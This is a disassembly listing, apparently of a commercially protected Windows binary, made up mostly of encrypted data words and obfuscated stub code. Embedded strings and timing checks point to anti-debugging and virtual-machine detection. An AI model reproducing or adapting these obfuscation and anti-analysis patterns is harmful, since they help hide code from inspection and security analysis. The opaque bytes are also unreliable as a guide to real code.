0A029146Dh, 0B3977B5Ah, 14608D5Fh, 50AA5539h dd 2C3F7C51h, 5CB452B6h, 3D0C1F8Eh, 72DB7549h, 0F6A01421h dd 0BFC831BCh, 5AAD5882h, 89A79B6Fh, 64B362EEh, 0E338E155h dd 32166ADEh, 0D6032A14h, 282E3241h, 36000000h, 6C800D6Fh dd 0C3941D18h, 0A5B7ABEFh, 9F21B001h, 0F145BDBDh, 60EF1171h dd 0D1DCC43Ah, 35E3123Bh, 3E3F2Ch, 6FD90000h, 40E4760Dh dd 0BD9F364Dh, 0A514F8C2h, 0AAA7F050h, 558EE226h, 0A46FB8h dd 3A60FA44h, 3286BDC5h, 0B01961DEh, 80746861h, 0DD0F1468h dd 6BFF3849h, 9F4DB544h, 0A529286Eh, 0D42CC761h, 0A4750BDh dd 0EAD6E9DCh, 63495292h, 7376EC63h, 0D20145E9h, 0BC86C394h dd 15639258h, 0E66A55AFh, 86FA4EA2h, 5B6E8668h, 41BD9FCAh dd 80744554h dd 86A5A24Ch, 6D6A7222h, 74738C73h, 25127036h, 2C3A1D71h dd 0FA140BBBh, 8D26933h, 0E0BAE5E4h, 0AC106A84h, 6650219Eh dd 3147834Ch, 68974770h, 8497D9F3h, 0E7B751B5h, 0C85C8E95h dd 8EEB62B5h, 0FB2A300Ah, 3F4993AEh, 0FD26D3B7h, 0C06E54EEh dd 80BDC627h, 0EEAA7247h, 0EEA1A152h, 695h, 0AEB58C96h dd 0D81B3641h, 76EDDC2Fh, 0A1B28199h, 0D2013C44h, 9BE17C63h dd 494EBFA4h, 0F63EEF74h, 9EEB04DFh, 0A14BB0A3h, 9A75790Dh dd 997FCEC5h, 14F8D5DEh, 0F87B56A5h, 5877816Ch, 267690F4h dd 0EE1FCD56h, 0E024A8A5h, 1000A446h, 72BD99E0h, 230D91CDh dd 5587F780h, 6567B5D1h, 26C03A3Ah, 8B600A29h, 8FC4602Ch dd 405441ABh, 8677DB75h, 6289467Bh, 99866698h, 617D6A9h dd 0E180000h, 0B4C32C37h, 62B15E85h, 31BF46Fh, 0B2C6273Ch dd 0FAE15083h, 3D261963h, 6DF6CBD0h, 9A597480h, 362D186Dh dd 0FB8F27C5h, 4CC59A75h, 0D6F07FDh, 4C40E476h, 0C3BD99E0h dd 57A20BFFh, 3428ED7Ah, 5FAB8666h, 5CCF8h, 8CBBCF00h dd 526FB657h, 24156481h, 89C8CE3Fh, 5867BD6Ah, 0D6353C9Bh dd 8760F3C2h, 7790437Eh, 20CD1621h, 9079FAD7h, 74B0D458h dd 4837C59Ah, 0E30D6FD0h, 9B41A594h, 99E03B13h, 7ACE34BDh dd 0C5F005F0h, 0CD7222Bh, 0AD1E6A82h, 0A9913A65h, 65AD2D59h dd 0B7CDA23Ah, 0B7B09488h, 86663560h, 66DCB397h, 0A9000005h dd 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h, 9221320Dh dd 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh, 7EF67A87h dd 0C59A740Ah, 0DEB62E9Dh, 0C614F8D5h, 1D5430B4h, 0E7DBC394h dd 1D95F175h, 201AC394h, 0C7F20706h, 0AE93E815h, 62B88880h dd 5C69BA63h, 201D6687h, 91F8E5Ch, 0E4764A3Eh, 941D0440h dd 99B78BC3h, 941DBCCDh, 0DFEA3FC3h, 4471826Bh, 6667BDF0h dd 0C1CC1614h, 68F2CFD8h, 1D3256DEh, 0D8B5C394h, 0C90DF1CCh dd 0FEB83BD5h, 4DE1739Eh, 0C3941D39h, 0C8BCB48Eh, 5FC3941Dh dd 51D5077Bh, 0BD99E071h, 7FF70193h, 3A65AC0Bh, 0DAAEA69Ch dd 0AD3A65ACh, 0A79EE455h, 0F251FFD3h, 66B36288h, 0A1F886Bh dd 0BC8E2D3Fh, 132FF084h, 0EF3BAD85h, 210580E6h, 91EB0307h dd 0AFCC608Ah, 446808h, 0B0C5303Ah, 0F319D5Eh, 574BD11Ch dd 8295008Ch, 63B499B7h, 0F28AE256h, 84718369h, 0CFD417Ch dd 2AD5C9F4h, 27C6F3F6h, 0CC98B6EFh, 4E7C47D1h, 2ED31C66h dd 0C5927F8Ch, 4438A4Dh, 32440000h, 0D82FD81Bh, 8E9D0AE9h dd 3F47A0B3h, 0EE32D300h, 0AEB50CD7h, 0E90A354Fh, 19DAE73Ch dd 0B6AD98ECh, 0E2714C59h, 2F5BD319h, 0A0C59A77h, 0D5DE6BD1h dd 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h, 0ED019359h dd 3A60E799h, 16FA146Eh, 60E7AEDEh, 0EFDA2F3Ah, 5461B21Bh dd 0CEDDACE0h, 0EDC70FF3h, 0E18BAEE0h, 36D0E134h, 729B717Ch dd 5F2C3507h, 39h, 760D6FB9h, 5D140E4h, 0F15EBD9Fh, 782195A8h dd 6AAE122Fh, 86AE1276h, 3A60CBC6h, 0FC048113h, 40340B11h dd 0CB1672FAh, 0A1993A60h, 90B9A34Dh, 0B92C35C6h, 113h dd 23D5DE47h, 0FAE5CEEh, 78EC7E69h, 0C394D80Ch, 0F75BBF83h dd 0C860B865h, 0D8AC80B9h, 0B9C34AE4h, 3E4B3286h, 0C7B68B96h dd 0DB3F83BEh, 0DCC913E7h, 0FE4FF9C4h, 0ED5298B5h, 6453E861h dd 0CA070E4Dh, 2E0246h, 0E238E567h, 0FD2B6FD3h, 94C55A69h dd 0FDC8DDC3h, 0D47C8966h, 3E42CCEh, 0B08B41D8h, 60F2785Ch dd 9484B8CCh, 1DCB0FC3h, 9CA7F535h, 0B33F264Eh, 4AB0BD9Fh dd 0EA9E16A0h, 7D3A619Ah, 2E08EB05h, 8F27354Eh, 446C0C7Eh dd 0EDE93DA2h, 55F21EFBh, 2A1B6F87h, 96EC3073h, 0B5A79B78h dd 9EABFA2Bh, 6A1ED62Ah, 0FD30732Ah, 14816B85h, 0CB98C70Ch dd 506A11D3h, 0C43D4999h, 48B23073h, 1A1E8F54h, 0B072C3Bh dd 7CD68C70h, 2C49Bh, 84B3C700h, 6A67AE5Fh, 3C0D1C89h dd 81B0C627h, 506FB552h, 0CE2D3483h, 0BF688BCAh, 6F985B66h dd 0D8352E19h, 9861F2CFh, 71A8DC50h, 503FC59Ah, 0FBDADEE8h dd 6E4FEC78h, 4C2A460Dh, 65AE9F49h, 6F0D8B68h, 40E4760Dh dd 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0E46867B1h, 63D7E235h dd 5F33B2F6h, 15EFFEBAh, 2C35C6F4h, 0D9DDh, 50BD3B00h dd 4C807445h, 635EABA2h, 0EBEA2E9Fh, 19FCCF67h, 3643C394h dd 0DA2FD81Bh, 79031BEFh, 7B8D78E2h, 0FA72F84Ch, 3C6BE18Eh dd 2BC53901h, 0D6C42D41h, 41B94260h, 0E1E5099Bh, 663A60F4h dd 2571F21Ch, 8C1ECC57h, 60F46C18h, 2E9FE33Ah, 0AF41EFE6h dd 6D642507h, 0EDC2644h, 140211FCh, 2D03F8A1h, 0EC50B408h dd 78BE6FA8h, 0C883D1F6h, 0EAD52F1Eh, 0B9849C09h, 6FFA8FAEh dd 0FC0428Ch, 1D5h, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h dd 92417C84h, 0DB213C23h, 898E7FE4h, 367EAFB4h, 0DE2BC41Fh dd 618B70E3h, 9A70B9CDh, 0D9BF0EC5h, 71FBDADEh, 0A8467384h dd 0F8D5DECFh, 9D798372h, 2601EF8Bh, 0BD0165A3h, 0B834AF59h dd 0B7C2862Eh, 7D45C394h, 0D5DE6DD3h, 50A514F8h, 0DCA0FE65h dd 80119547h, 0ADBD9F21h, 0A286BBC0h, 0EF7616DEh, 0F1A33A60h dd 0FEED1CF4h, 6CD32C34h, 56B83604h, 0F075E46h, 0A24363DDh dd 729FB14Eh, 37ABB81Dh, 604019h, 2DD80000h, 0DB41EFDAh dd 76800D6Fh, 941D8AFEh, 2D251DC3h, 0C3941D59h, 6AF0D42Eh dd 0B5536EBBh, 0D02AB33Bh, 0E4034260h, 0B33B0AB6h, 3A605AD7h dd 0FAD56258h, 829861D2h, 7BEB5FB3h, 3A60420Bh, 41CBDADEh dd 6C804354h, 3A604218h, 88B7ABEFh, 0A403FDB9h, 0D34DFB5Bh dd 2C35E73Ah, 2417h, 26A7F100h, 18C3941Dh, 0F96DFF84h dd 0BD9F0B20h, 5A2E46D0h, 2D3A60D0h, 5A702AD5h, 6DBB265Ch dd 0E57E44C3h, 760D6F1Fh, 51AB5AE4h, 4D34C06Eh, 22BD9F24h dd 8CFC74D8h, 593A60E9h, 99C64A5Bh, 5C6BEA41h, 5A9B34Bh dd 3A601B41h, 0E852FCC6h, 2C341341h, 3168h, 0E4768000h dd 60130440h, 0BFB78B3Ah, 3A6013CBh, 0EB92B91Ch, 522D02C6h dd 0B994E168h, 0E157F1D5h, 941D27A7h, 0FE8517C3h, 0B21F86Ch dd 44BEBD9Fh, 0D6F799Fh, 0EA39E476h, 201D66D7h, 0A8C06406h dd 27BD99DFh, 75BE6FD3h, 196A9B58h, 0B88582Ch, 0B365F551h dd 72876C79h, 26739C47h, 0EF9AC12Bh, 0E293BD16h, 93C48024h dd 774B12F4h, 6E5BAA13h, 99E148C0h, 692BD6BAh, 5762B75Ch dd 3B16638Ch, 3F057h, 84180000h, 0FDD4DE9Ch, 7A57A009h dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh dd 40798871h, 0CFFA0DFCh, 8957CF7Bh, 4C781E7h, 83000000h dd 3C8704EFh, 24248B24h, 747368h, 243C8900h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BE56241Ch, 2A756D36h dd 0EEC1D6F7h, 0EEC14E07h, 67BA5203h, 31063B32h, 0F7895AD6h dd 682B685Eh, 24890000h, 24048124h, 4, 4EC815Bh, 89000000h dd 438F243Ch, 2434FF08h, 4C4815Bh, 8B000000h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dw 0C066h dd 0A9359522h, 8F4D8916h, 2B875C0h, 3060E6Fh, 0F2E0FFC5h dd 0EA2D9574h, 920F9A25h, 9C3D2625h, 20661F33h, 7A0672ADh dd 3375D8E3h, 0BB128B54h, 2731FB49h, 466646ADh, 0FC694108h dd 0B330CFB7h, 0EB734B1Eh, 4A2AD999h, 1F15CE50h, 302E7BC8h dd 0E857D206h, 0Ah, 0FA809F83h, 7218B42h, 0CCB9348Bh, 587E034Bh dd 0DE996AB9h, 26C08136h, 0BF000063h, 189Dh, 0BE9h, 0E431D100h dd 3E41353Dh, 706DBC21h, 0BA66308Bh, 0C681CD0Dh, 27494D2Fh dd 12E9h, 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h dd 8104D410h, 375B3DEEh, 0EE828h, 0AE230000h, 4CE839B8h dd 0A1F4411h, 83ADDE63h, 815BC3B2h, 630EDEF6h, 89D88A79h dd 15BBA30h, 0E8835424h, 0DE8B6604h, 0D850F4Fh, 8B000000h dd 24E9D8h, 1C0E0000h, 0A22D29ADh, 0EE9h, 5F2A1700h, 407AA748h dd 0C16A8824h, 0E9AC73B6h, 0FFFFFF80h, 8A8E19A5h, 34EB9B5Bh dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h dd 3 dup(0) dd 80BE9h, 0F60F800h, 1F84h, 198E0F00h, 0E9000000h, 14h dd 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh dd 0D810Fh, 0F600000h, 89h, 0F964B900h, 0C76177C7h, 0E70C885h dd 6, 198D0F00h, 0E9000000h, 14h, 0E5CE52EDh, 51A59968h dd 0F7625DE4h, 4DC37C37h, 64DE0831h, 6AC68Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0B70FBFC3h dd 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 8A0FF51Fh, 13h, 0D890Fh, 8E90000h, 68000000h dd 5A2A1807h, 0C19D0021h, 9E910E8h, 0A4000000h, 2375ACBFh dd 5E42BFDAh, 19800Fh, 14E90000h, 0AC000000h, 0BFDA2375h dd 68685E42h, 0C368EFC2h, 3602CC19h, 66692F6Fh, 6A08C8C1h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 77FDC355h, 4E005C4Bh, 2F018F74h, 56E7B960h dd 8961224Dh, 0E70CC85h, 81F86006h, 9DC0CACAh, 8E0F6134h dd 7, 1810Fh, 66FC0000h, 6A08CBC1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6D29C351h dd 4AA5783Bh, 0A954989h, 0B10BBF60h, 816671CEh, 6153B3D9h dd 0F40FB83h, 2D85h, 0BD8DF900h, 60E70A0h, 58D0Fh, 66600000h dd 0E961FA8Bh, 1AEh, 0F8B0FFCh, 0E9000000h, 0Ah, 6A184759h dd 20D698B1h, 0FB835634h, 55850F0Dh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0FDD6C353h, 98D0Fh, 53600000h, 1CF6BF59h, 8D614021h dd 0E70A8BDh, 0B8D0F06h, 0E9000000h, 6, 0F8466B05h, 47E9F878h dd 0E9000001h, 8, 0BB35AF54h, 9B8C9911h, 0F01FB83h, 7185h dd 8E900h, 0BF490000h, 671DA23Bh, 0BD8D5F91h, 60E70B0h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5CC35646h dd 0FBE9FCF5h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0FFEC355h, 1986h, 14E900h dd 58A40000h, 0C247B3B8h, 41841A64h, 0BA479BFFh, 653F91C7h dd 0FB83E95Eh, 6C850F2Ah, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0F136C353h dd 73E03115h, 60233196h, 0FDB8166h, 0FAB70F9Eh, 0BD8DF861h dd 60E70B8h, 0FE9F5h, 21AE0000h, 3FA1710Ch, 8E885F5h, 0E789A0BFh dd 68E90Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 83F559C3h, 850F27FBh, 30Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 14C35343h, 33C244FEh dd 0FDE1D83h, 884h, 0D08B6000h, 0BEE3BE66h, 0C0BD8D61h dd 60060E70h, 0FCA8B66h, 8Ah, 0BD896100h, 60E70D0h, 14850Fh dd 0FE90000h, 0CB000000h, 38333106h, 3F8FF292h, 0BCC13093h dd 8C668B0Dh, 55006AC8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0BFF09E95h, 185E7218h, 10E9h, 0D976FC00h dd 0D200304Ch, 84DDA731h, 776EC1F2h, 6A032402h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0DCEC355h, 0DCE5FA75h, 0F820F04h, 60000000h, 6E962B2h dd 53000000h, 6C88FC5h, 0C00A61E0h, 177850Fh, 0BE90000h dd 0B3000000h, 88D87BE5h, 0ECE0E4DEh, 0B58D098Fh, 60E7768h dd 0CE960h, 64AE0000h, 8AE092C6h, 3AAD1F1Dh, 56579CA7h dd 8B615E58h, 0E782F85h, 10E86006h, 0E000000h, 41B95016h dd 2CBE45DAh, 729D8C1Bh, 8BDD7211h, 0C88159D7h, 76025AEAh dd 57609261h, 535ABDB4h, 12E9h, 9EED7300h, 59960B18h, 434644F2h dd 0D66AB7EEh, 5EF64F42h, 10E95061h, 8000000h, 2FF44518h dd 863B23E4h, 5F6EB957h, 9203326Ch, 0D0B0F560h, 4C010F61h dd 8F0FFE24h, 9, 66616060h, 47A7C981h, 6A5A61h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 600813C3h, 26F7CBD1h, 1840F71h, 0F5000000h, 24C283F5h dd 0FE9h, 0A7485F00h, 8824407Ah, 73B6C16Ah, 6763C9ACh dd 0C890Fh, 8E0F0000h, 6, 8F0Fh, 89660000h, 6AFC72h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0DA1052C3h, 60E9D1AEh, 0D13BBB66h, 0F4A602BFh, 0C1F5612Ah dd 0F6010CEh, 18Fh, 61F8FC00h, 2728966h, 9E9h, 14447800h dd 4640CC97h, 4CD8537h, 18E0FF8h, 0F9000000h, 0B1E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0F8C4BA72h, 2F858BD6h, 6A060E78h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1500C357h dd 18F78060h, 3EB8166h, 666061D2h, 0F5DF6CB8h, 68B58D61h dd 6A060E77h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 73F1C357h, 0E90874D1h, 6, 1963BB2Fh dd 858D3C2Ch, 60E4D7Eh, 85BE6660h, 0D0FF6178h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D5C35343h, 8589F9F9h dd 60E70C8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0EDC35343h, 37113154h, 61431866h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h, 400BD282h dd 0FD432CFh, 1A86h, 148D0F00h, 0E9000000h, 0Fh, 0C7DB57E8h dd 16142A8h, 75C32409h, 8B2D0E50h, 0E70C885h, 820F6006h dd 16h, 10E8h, 0B6797700h, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh dd 8B665806h, 0E9C361F0h, 11h, 0C3F1DCA0h, 0F8D29130h dd 89A73A4h, 76C219E1h, 18C0F57h, 0F9000000h, 8B0F6060h dd 2, 5E9F08Bh, 3000000h, 48E3A63Bh, 2FBD8361h, 60E78h dd 8E850Fh, 0E8600000h, 6, 763AD26Bh, 8B0FE6FFh, 0 dd 0EE85Ah, 0EF960000h, 0FA118AFCh, 8D6D5379h, 3EF9ACC3h dd 5EC8BF0Fh, 85C7F861h, 60E782Fh, 1013Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 79C35747h, 0A8C983FFh dd 730F2D04h, 7E960h, 1C3E0000h, 520168FDh, 0BE81Ah, 90150000h dd 87101576h, 0A502D5FEh, 0FE98Ch, 4F760000h, 925D145Ah dd 0BD3C6A25h, 0D126D72Fh, 0FC615891h, 10E9h, 0A890F00h dd 0E9000000h, 5, 72A9C942h, 20CD45h, 0B000000h, 8D3774C0h dd 0BD8B0C70h, 60E70D0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h dd 60E70CCh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh dd 60E70C8h, 8B04EBh, 8B61C5EBh, 0E70C885h, 6ACF06h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 1B24A1C3h, 880FBBC4h, 0Eh, 9E9h, 49A11300h, 48AA617Dh dd 8F0F1F08h, 7, 18A0Fh, 6AF80000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4743C356h dd 8B0F5052h, 8, 0CFB70F60h, 61BAEF80h, 0E9C08Bh, 4, 33000000h dd 69206E41h, 7265746Eh, 206C616Eh, 65637865h, 6F697470h dd 636F206Eh, 65727563h, 41282064h, 65726464h, 203A7373h dd 78257830h, 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh dd 73207463h, 6F707075h, 6F407472h, 6E616572h, 6F632E73h dd 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 dd 0E9000000h, 122Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 5C35141h, 7E3C7D92h, 8D8904EEh, 60B212Dh dd 194D858Bh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 1AA3FFC3h, 25BD8969h, 0F9060B0Dh dd 9E9h, 79A00F00h, 0F618C359h, 4439B1D3h, 850F0424h, 0A5h dd 0E599D89h, 0BD83060Bh, 60B0DB1h, 92840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0C1FC353h, 602A9497h, 0FDA8B60h, 8Bh, 6E96100h dd 0DA000000h, 70AC4C15h, 858D614Bh, 60B390Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C5C35141h, 0BEFB35EFh dd 0FF43DC0Ah, 50006AE0h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 0EE921B1h, 0F6000000h dd 0E0963092h, 0FBEEFFAEh, 6DA4F279h, 15858B88h, 6A060B03h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 74AEC356h, 4439642Fh, 850F0424h, 0Ch, 0E785C7F5h dd 1060E7Ch, 0F5000000h, 51006A60h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0CE92778h, 32000000h dd 0DF1F7FFCh, 79D5EFE5h, 0E95D4744h, 28h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 7AC35141h, 0B5296C01h dd 60B3319h, 0 dd 1B8h, 94858700h, 0B060E7Eh, 0FFF675C0h, 0B2845B5h, 0DF858F06h dd 6A060E7Ch, 0FFFF6A20h, 0B1BBD95h, 1BD8306h, 60B23h dd 6A0874h, 32DD95FFh, 0BD83060Bh, 60B1611h, 680D7401h dd 80h, 95FFFF6Ah, 60B1BBDh, 0C3B70F60h, 0EE8h, 6FDBBF00h dd 2D585FBAh, 787A6F1Bh, 8BAA6E4Ah, 0B0C059Dh, 0E9615E06h dd 12h, 38137D73h, 1C566DF2h, 28034F95h, 6F762ABCh, 0B8BFEFh dd 0F000000h, 689h, 59953100h, 8B060B0Fh, 1282454h, 0B32E595h dd 0E9858906h, 60060B05h, 2840Fh, 5F510000h, 193D8D89h dd 0BE61060Bh, 3Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 61C35646h, 0A0F77568h, 760E8BD1h, 119D896Bh dd 3060B32h, 29242474h, 0B23599Dh, 31AD6606h, 0B335D85h dd 24440306h, 14E924h, 66EB0000h, 8CD936F4h, 429F355Bh dd 0EB23947Eh, 4929611Ah, 6090EFF5h, 0FB4811BEh, 0E950614Ah dd 0Bh, 96A9B5B3h, 5886D2DFh, 90DF3B7Ah, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 36C35747h, 0B9BB5D9Fh dd 8978408Bh, 0B2061B5h, 0BD83F506h, 60E7CE7h, 22850F00h dd 0F000001h, 68Eh, 0B9952900h, 90060B32h, 8860Fh, 890F0000h dd 2, 50506160h, 5B86052h, 0E802A8F0h, 0Dh, 8E7049AAh dd 7624F643h, 62DACCB1h, 0F6159DEh, 5E931h, 80FF0000h dd 5A44681Ah, 6A9058h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 5208DC3h, 0BD01FF24h, 60B2711h dd 2C24448Bh, 8E860h, 0C7BB0000h, 0B0E3CEC8h, 0AE9D5A3h dd 8B000000h, 582FF72h, 21CED6CEh, 13E95AACh, 53000000h dd 364B4158h, 676DDD46h, 754C6C61h, 8E1694C3h, 50619B09h dd 11E9h, 34B1C00h, 60E13144h, 88CCDF70h, 0F509CA2h, 4897B7Ch dd 8E924h, 158C0000h, 0B8C7EB2Eh, 858DC5E8h, 60E4E0Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 2AC35141h dd 0DCF5A4FAh, 0A878BF60h, 61F835CDh, 6AD0FFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 52ECF5C3h, 75034A97h, 244403F5h, 99D2928h, 0E9060B33h dd 10h, 35D1C242h, 0B6BCB4CDh, 0A8B36B80h, 0B84584DEh dd 8918408Bh, 0B00959Dh, 6A4006h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 1FB956C3h, 11E9C769h dd 0CB000000h, 0E6CABA60h, 88467B3Bh, 7B4077ECh, 0D9A7FDD5h dd 7CE38589h, 9589060Eh, 60B2819h, 0F6058F8h, 0B509C6B7h dd 60B2B71h, 78708B61h, 1CC683F9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 8FC35242h, 3C91721Dh, 20219D01h dd 6A96060Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0DD7FC355h, 60A8C02Ch, 31299529h dd 0FE8060Bh, 2A000000h, 0FB88CB74h, 920B3403h, 885CD333h dd 0B5091B52h, 60B2B29h, 7C816158h, 2424h, 870F1000h, 0DBh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 42C35646h dd 0E60E7BC3h, 50F81067h, 61606060h, 0F615952h, 80h, 4896100h dd 0CB806024h, 0DE8166F1h, 8B61AC5Eh, 6A282444h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 6094C351h, 2A759D89h, 9E9060Bh, 77000000h, 53D2BA18h dd 0A089139Ch, 820F9061h, 0Bh, 6E9h, 9B774D00h, 5067735Fh dd 128F0Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 6D9D3190h, 8D060B16h, 0E4E0F85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0A8A0D823h, 6660D0FFh, 0E95FCA81h, 1659958Bh, 9661060Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 4C35040h dd 0C7C0B122h, 7403F8B7h, 810F2424h, 6, 3299529h, 0BD8D060Bh dd 60B242Dh, 13E9h, 0FFC73800h, 0FC0EF1C1h, 0F9D37EBBh dd 35AE768Bh, 3C648C74h, 6870Fh, 95890000h, 60B33A5h, 51006AADh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 6E9C3DBh, 0BD000000h, 3A53F022h, 247C818Dh, 24h, 1C870F10h dd 0F000001h, 682h, 45852900h, 0F060B19h, 0D8Ch, 9D8B6000h dd 60B1965h, 9A0E1ABFh, 50506125h, 8B666052h, 61C18BC6h dd 5060310Fh, 5A310F52h, 585A6158h, 0E9240489h, 5, 0ACCD3D6Ch dd 24448B63h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 2FBD90Fh, 4F5E135Bh, 90FC82B2h, 61605260h dd 4254BF5Eh, 50617893h, 0DF8B6660h, 0F028BB66h, 6A9061h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0A7A984C3h, 62AFABC5h, 6E9B821h, 0FC000000h, 0DF9D3384h dd 858DF9D3h, 60E4E0Fh, 1958B60h, 0E9060B0Eh, 0Eh, 0DEBB9C7Bh dd 6376F6B5h, 0A740732Ah, 0FF61A962h, 57006AD0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 13E9977Ch, 58000000h, 0F694E312h, 17049A77h, 48BBC66Fh dd 11377253h, 0CE9659Dh, 69000000h, 0A69D586Fh, 87FEA92Dh dd 38E298Ch, 6A242444h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0D1EEC355h, 0B5312AA9h dd 60B06B5h, 858B60ABh, 60B0C8Dh, 6850Fh, 0BD8B0000h, 60B01D1h dd 0FA8161h, 0F000100h, 80882h, 0B5953100h, 8D060B18h dd 0B0535BDh, 0AE906h, 0D94A0000h, 4FFCA228h, 0CA5BFB00h dd 50006AADh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0AF535337h, 21BD317Ah, 89060B15h, 0B29E585h dd 0F1B58906h, 81060B30h, 24247Ch, 0F100000h, 11B87h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 14398CF7h, 810F30CAh, 1Bh, 15850Fh, 10E90000h, 3D000000h dd 0DDAF2CD2h, 0D99A4A1Ch, 30CB3C18h, 5090D789h, 138D0Fh dd 0EE90000h, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h dd 24048931h, 599D29F8h, 8B060B0Fh, 6A282444h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 2470C357h, 83D46D38h, 7429224Ch, 94BF6660h, 60506108h dd 6744ABB9h, 1BBF6677h, 48961E1h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 318E0E73h dd 9C8FD90Bh, 68B0F8Fh, 9000000h, 0B187985h, 0BD296006h dd 60B28CDh, 29CD8D23h, 8D61060Bh, 0E4E0F85h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 89F1080Ah, 0B09859Dh, 0F5B50906h, 0FF060B18h, 1810FD0h dd 0F8000000h, 24244403h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 51C35040h, 1840Fh, 50F50000h, 0D810Fh dd 8E90000h, 0C9000000h, 95CDFCE8h dd 897DD836h, 